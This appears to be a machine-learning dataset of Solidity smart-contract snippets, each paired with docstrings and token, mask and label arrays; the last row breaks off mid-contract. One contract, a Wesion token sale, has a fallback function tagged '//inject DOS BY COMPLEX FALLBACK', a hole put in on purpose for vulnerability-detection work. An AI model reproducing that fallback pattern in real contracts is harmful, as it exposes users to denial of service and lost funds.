IERC20 constant private ESD = IERC20(0x36F3FD68E7325a35EB768F1AedaAe9EA0689d723);
IESDS constant private ESDS = IESDS(0x443D2f2755DB5942601fa062Cc248aAA153313D3);
// The percent fee offered by coupon holders to callers (bots), in basis points
// E.g., offers[_user] = 500 indicates that _user will pay 500 basis points (5%) to the caller
mapping(address => uint256) private offers;
// @notice Gets the number of basis points the _user is offering the bots
// @dev The default value is 100 basis points (1%).
// That is, `offers[_user] = 0` is interpretted as 1%.
// This way users who are comfortable with the default 1% offer don't have to make any additional contract calls.
// @param _user The account whose offer we're looking up.
// @return The number of basis points the account is offering the callers (bots)
function getOffer(address _user) public view returns (uint256) {
uint256 offer = offers[_user];
return offer == 0 ? 100 : offer;
}
// @notice Allows msg.sender to change the number of basis points they are offering.
// @dev An _offer value of 0 will be interpretted as the "default offer", which is 100 basis points (1%).
// @param _offer The number of basis points msg.sender wants to offer the callers (bots).
function setOffer(uint256 _offer) external {
require(_offer <= 10_000, "Offer exceeds 100%.");
offers[msg.sender] = _offer;
}
// @notice Allows anyone to redeem coupons for ESD on the coupon-holder's bahalf
// @param _user Address of the user holding the coupons (and who has approved this contract)
// @param _epoch The epoch in which the _user purchased the coupons
// @param _couponAmount The number of coupons to redeem (18 decimals)
function redeem(address _user, uint256 _epoch, uint256 _couponAmount) external {
// pull user's coupons into this contract (requires that the user has approved this contract)
ESDS.transferCoupons(_user, address(this), _epoch, _couponAmount);
// redeem the coupons for ESD
ESDS.redeemCoupons(_epoch, _couponAmount);
// pay the caller their fee
uint256 botFee = _couponAmount * getOffer(_user) / 10_000;
ESD.transfer(msg.sender, botFee); // @audit-ok : reverts on failure
// send the ESD to the user
ESD.transfer(_user, _couponAmount - botFee); // @audit-ok : no underflow and reverts on failure
}
} | @notice Allows msg.sender to change the number of basis points they are offering. @dev An _offer value of 0 will be interpretted as the "default offer", which is 100 basis points (1%). @param _offer The number of basis points msg.sender wants to offer the callers (bots). | function setOffer(uint256 _offer) external {
require(_offer <= 10_000, "Offer exceeds 100%.");
offers[msg.sender] = _offer;
}
| 1,194,419 | [
1,
19132,
1234,
18,
15330,
358,
2549,
326,
1300,
434,
10853,
3143,
2898,
854,
10067,
310,
18,
225,
1922,
389,
23322,
460,
434,
374,
903,
506,
1554,
1484,
748,
329,
487,
326,
315,
1886,
10067,
3113,
1492,
353,
2130,
10853,
3143,
261,
21,
9,
2934,
225,
389,
23322,
1021,
1300,
434,
10853,
3143,
1234,
18,
15330,
14805,
358,
10067,
326,
19932,
261,
4819,
87,
2934,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
10513,
12,
11890,
5034,
389,
23322,
13,
3903,
288,
203,
3639,
2583,
24899,
23322,
1648,
1728,
67,
3784,
16,
315,
10513,
14399,
2130,
9,
1199,
1769,
203,
3639,
28641,
63,
3576,
18,
15330,
65,
273,
389,
23322,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.7;
// Send more than WEI_MIN (init = 1 ETH) for 1002 Wesions, and get unused ETH refund automatically.
// Use the current Wesion price of Wesion Public-Sale.
//
// Conditions:
// 1. You have no Wesion yet.
// 2. You are not in the whitelist yet.
// 3. Send more than 1 ETH (for balance verification).
//
/**
* @title SafeMath for uint256
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath256 {
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient,
* reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return a / b;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Ownable
*/
contract Ownable {
address private _owner;
address payable internal _receiver;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ReceiverChanged(address indexed previousReceiver, address indexed newReceiver);
/**
* @dev The Ownable constructor sets the original `owner` of the contract
* to the sender account.
*/
constructor () internal {
_owner = msg.sender;
_receiver = msg.sender;
}
/**
* @return The address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
address __previousOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(__previousOwner, newOwner);
}
/**
* @dev Change receiver.
*/
function changeReceiver(address payable newReceiver) external onlyOwner {
require(newReceiver != address(0));
address __previousReceiver = _receiver;
_receiver = newReceiver;
emit ReceiverChanged(__previousReceiver, newReceiver);
}
/**
* @dev Rescue compatible ERC20 Token
*
* @param tokenAddr ERC20 The address of the ERC20 token contract
* @param receiver The address of the receiver
* @param amount uint256
*/
function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner {
IERC20 _token = IERC20(tokenAddr);
require(receiver != address(0));
uint256 balance = _token.balanceOf(address(this));
require(balance >= amount);
assert(_token.transfer(receiver, amount));
}
/**
* @dev Withdraw ether
*/
function withdrawEther(address payable to, uint256 amount) external onlyOwner {
require(to != address(0));
uint256 balance = address(this).balance;
require(balance >= amount);
to.transfer(amount);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
bool private _paused;
event Paused(address account);
event Unpaused(address account);
constructor () internal {
_paused = false;
}
/**
* @return Returns true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Paused.");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function setPaused(bool state) external onlyOwner {
if (_paused && !state) {
_paused = false;
emit Unpaused(msg.sender);
} else if (!_paused && state) {
_paused = true;
emit Paused(msg.sender);
}
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
/**
* @title Wesion interface
*/
interface IWesion {
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function inWhitelist(address account) external view returns (bool);
}
/**
* @title Wesion Public-Sale interface
*/
interface IWesionPublicSale {
function status() external view returns (uint256 auditEtherPrice,
uint16 stage,
uint16 season,
uint256 WesionUsdPrice,
uint256 currentTopSalesRatio,
uint256 txs,
uint256 WesionTxs,
uint256 WesionBonusTxs,
uint256 WesionWhitelistTxs,
uint256 WesionIssued,
uint256 WesionBonus,
uint256 WesionWhitelist);
}
/**
* @title Get 1002 Wesion
*/
contract Get1002Wesion is Ownable, Pausable {
using SafeMath256 for uint256;
IWesion public Wesion = IWesion(0x2c1564A74F07757765642ACef62a583B38d5A213);
IWesionPublicSale public Wesion_PUBLIC_SALE;
uint256 public WEI_MIN = 1 ether;
uint256 private Wesion_PER_TXN = 1002000000; // 1002.000000 Wesion
uint256 private _txs;
mapping (address => bool) _alreadyGot;
event Tx(uint256 etherPrice, uint256 vokdnUsdPrice, uint256 weiUsed);
/**
* @dev Transaction counter
*/
function txs() public view returns (uint256) {
return _txs;
}
function setWeiMin(uint256 weiMin) public onlyOwner {
WEI_MIN = weiMin;
}
/**
* @dev Get 1002 Wesion and ETH refund.
*/
function () external payable whenNotPaused { //inject DOS BY COMPLEX FALLBACK
require(msg.value >= WEI_MIN);
require(Wesion.balanceOf(address(this)) >= Wesion_PER_TXN);
require(Wesion.balanceOf(msg.sender) == 0);
require(!Wesion.inWhitelist(msg.sender));
require(!_alreadyGot[msg.sender]);
uint256 __etherPrice;
uint256 __WesionUsdPrice;
(__etherPrice, , , __WesionUsdPrice, , , , , , , ,) = Wesion_PUBLIC_SALE.status();
require(__etherPrice > 0);
uint256 __usd = Wesion_PER_TXN.mul(__WesionUsdPrice).div(1000000);
uint256 __wei = __usd.mul(1 ether).div(__etherPrice);
require(msg.value >= __wei);
if (msg.value > __wei) {
msg.sender.call.gas(2301).value(msg.value.sub(__wei))("");
_receiver.call.gas(2301).value(__wei)("");
}
_txs = _txs.add(1);
_alreadyGot[msg.sender] = true;
emit Tx(__etherPrice, __WesionUsdPrice, __wei);
assert(Wesion.transfer(msg.sender, Wesion_PER_TXN));
}
/**
* @dev set Public Sale Address
*/
function setPublicSaleAddress(address _pubSaleAddr) public onlyOwner {
Wesion_PUBLIC_SALE = IWesionPublicSale(_pubSaleAddr);
}
/**
* @dev set Wesion Address
*/
function setWesionAddress(address _WesionAddr) public onlyOwner {
Wesion = IWesion(_WesionAddr);
}
} | * @title Wesion Public-Sale interface/ | interface IWesionPublicSale {
function status() external view returns (uint256 auditEtherPrice,
uint16 stage,
uint16 season,
uint256 WesionUsdPrice,
uint256 currentTopSalesRatio,
uint256 txs,
uint256 WesionTxs,
uint256 WesionBonusTxs,
uint256 WesionWhitelistTxs,
uint256 WesionIssued,
uint256 WesionBonus,
uint256 WesionWhitelist);
}
| 2,549,351 | [
1,
59,
281,
285,
7224,
17,
30746,
1560,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
467,
59,
281,
285,
4782,
30746,
288,
203,
565,
445,
1267,
1435,
3903,
1476,
1135,
261,
11890,
5034,
8215,
41,
1136,
5147,
16,
203,
4766,
2398,
2254,
2313,
6009,
16,
203,
4766,
2398,
2254,
2313,
15874,
16,
203,
4766,
2398,
2254,
5034,
678,
281,
285,
3477,
72,
5147,
16,
203,
4766,
2398,
2254,
5034,
783,
3401,
23729,
8541,
16,
203,
4766,
2398,
2254,
5034,
20599,
16,
203,
4766,
2398,
2254,
5034,
678,
281,
285,
29070,
16,
203,
4766,
2398,
2254,
5034,
678,
281,
285,
38,
22889,
29070,
16,
203,
4766,
2398,
2254,
5034,
678,
281,
285,
18927,
29070,
16,
203,
4766,
2398,
2254,
5034,
678,
281,
285,
7568,
5957,
16,
203,
4766,
2398,
2254,
5034,
678,
281,
285,
38,
22889,
16,
203,
4766,
2398,
2254,
5034,
678,
281,
285,
18927,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/7700/0x96C6f58e996c68A201b48418167926CaB9C1Cb47/sources/contracts/StrategyStandardSaleForFixedPrice.sol | * @notice Check whether a taker ask order can be executed against a maker bid @param takerAsk taker ask order @param makerBid maker bid order @return (whether strategy can be executed, tokenId to execute, amount of tokens to execute)/ | {
return (
((makerBid.price == takerAsk.price) &&
(makerBid.tokenId == takerAsk.tokenId) &&
(makerBid.startTime <= block.timestamp) &&
(makerBid.endTime >= block.timestamp)),
makerBid.tokenId,
makerBid.amount
);
}
| 4,654,726 | [
1,
1564,
2856,
279,
268,
6388,
6827,
1353,
848,
506,
7120,
5314,
279,
312,
6388,
9949,
225,
268,
6388,
23663,
268,
6388,
6827,
1353,
225,
312,
6388,
17763,
312,
6388,
9949,
1353,
327,
261,
3350,
2437,
6252,
848,
506,
7120,
16,
1147,
548,
358,
1836,
16,
3844,
434,
2430,
358,
1836,
13176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
288,
203,
3639,
327,
261,
203,
5411,
14015,
29261,
17763,
18,
8694,
422,
268,
6388,
23663,
18,
8694,
13,
597,
203,
7734,
261,
29261,
17763,
18,
2316,
548,
422,
268,
6388,
23663,
18,
2316,
548,
13,
597,
203,
7734,
261,
29261,
17763,
18,
1937,
950,
1648,
1203,
18,
5508,
13,
597,
203,
7734,
261,
29261,
17763,
18,
409,
950,
1545,
1203,
18,
5508,
13,
3631,
203,
5411,
312,
6388,
17763,
18,
2316,
548,
16,
203,
5411,
312,
6388,
17763,
18,
8949,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x10aEC5622602e02186508318bD6e2cD995C92705/sources/contracts/MusicRacerNFT333.sol | @dev используется для вычисления адресов через унаследованную функцию tokenURI(uint256 tokenId), который дописывает ID токена вконец | function _baseURI() internal view override returns (string memory) {
return BaseURI;
}
| 3,872,306 | [
1,
145,
121,
146,
228,
145,
128,
145,
127,
145,
124,
146,
239,
145,
120,
146,
230,
145,
118,
146,
229,
146,
228,
146,
242,
225,
145,
117,
145,
124,
146,
242,
225,
145,
115,
146,
238,
146,
234,
145,
121,
146,
228,
145,
124,
145,
118,
145,
126,
145,
121,
146,
242,
225,
145,
113,
145,
117,
146,
227,
145,
118,
146,
228,
145,
127,
145,
115,
225,
146,
234,
145,
118,
146,
227,
145,
118,
145,
120,
225,
146,
230,
145,
126,
145,
113,
146,
228,
145,
124,
145,
118,
145,
117,
145,
127,
145,
115,
145,
113,
145,
126,
145,
126,
146,
230,
146,
241,
225,
146,
231,
146,
230,
145,
126,
145,
123,
146,
233,
145,
121,
146,
241,
1147,
3098,
12,
11890,
5034,
1147,
548,
3631,
225,
145,
123,
145,
127,
146,
229,
145,
127,
146,
227,
146,
238,
145,
122,
225,
145,
117,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
389,
1969,
3098,
1435,
2713,
1476,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
3360,
3098,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/42220/0x88130371F154e6E17CA3292a57269618a1b4503a/sources/pkg/pool-weighted/contracts/WeightedPool2TokensFactory_flat.sol | * @dev Same as `BasePoolFactory`, for Pools whose creation code is so large that the factory cannot hold it./ | abstract contract BasePoolSplitCodeFactory is BaseSplitCodeFactory {
IVault private immutable _vault;
mapping(address => bool) private _isPoolFromFactory;
event PoolCreated(address indexed pool);
constructor(IVault vault, bytes memory creationCode) BaseSplitCodeFactory(creationCode) {
_vault = vault;
}
function getVault() public view returns (IVault) {
return _vault;
}
function isPoolFromFactory(address pool) external view returns (bool) {
return _isPoolFromFactory[pool];
}
function _create(bytes memory constructorArgs) internal override returns (address) {
address pool = super._create(constructorArgs);
_isPoolFromFactory[pool] = true;
emit PoolCreated(pool);
return pool;
}
}
| 16,319,982 | [
1,
8650,
487,
1375,
2171,
2864,
1733,
9191,
364,
453,
8192,
8272,
6710,
981,
353,
1427,
7876,
716,
326,
3272,
2780,
6887,
518,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
3360,
2864,
5521,
1085,
1733,
353,
3360,
5521,
1085,
1733,
288,
203,
565,
467,
12003,
3238,
11732,
389,
26983,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
3238,
389,
291,
2864,
1265,
1733,
31,
203,
203,
565,
871,
8828,
6119,
12,
2867,
8808,
2845,
1769,
203,
203,
565,
3885,
12,
8188,
3714,
9229,
16,
1731,
3778,
6710,
1085,
13,
3360,
5521,
1085,
1733,
12,
17169,
1085,
13,
288,
203,
3639,
389,
26983,
273,
9229,
31,
203,
565,
289,
203,
203,
565,
445,
11031,
3714,
1435,
1071,
1476,
1135,
261,
8188,
3714,
13,
288,
203,
3639,
327,
389,
26983,
31,
203,
565,
289,
203,
203,
565,
445,
353,
2864,
1265,
1733,
12,
2867,
2845,
13,
3903,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
291,
2864,
1265,
1733,
63,
6011,
15533,
203,
565,
289,
203,
203,
565,
445,
389,
2640,
12,
3890,
3778,
3885,
2615,
13,
2713,
3849,
1135,
261,
2867,
13,
288,
203,
3639,
1758,
2845,
273,
2240,
6315,
2640,
12,
12316,
2615,
1769,
203,
203,
3639,
389,
291,
2864,
1265,
1733,
63,
6011,
65,
273,
638,
31,
203,
3639,
3626,
8828,
6119,
12,
6011,
1769,
203,
203,
3639,
327,
2845,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/4/0x34C4007a0cBc1b82557d9E2273a5afBf7b9E561f/sources/contracts/testTolken.sol | ---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------ | contract JabuToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
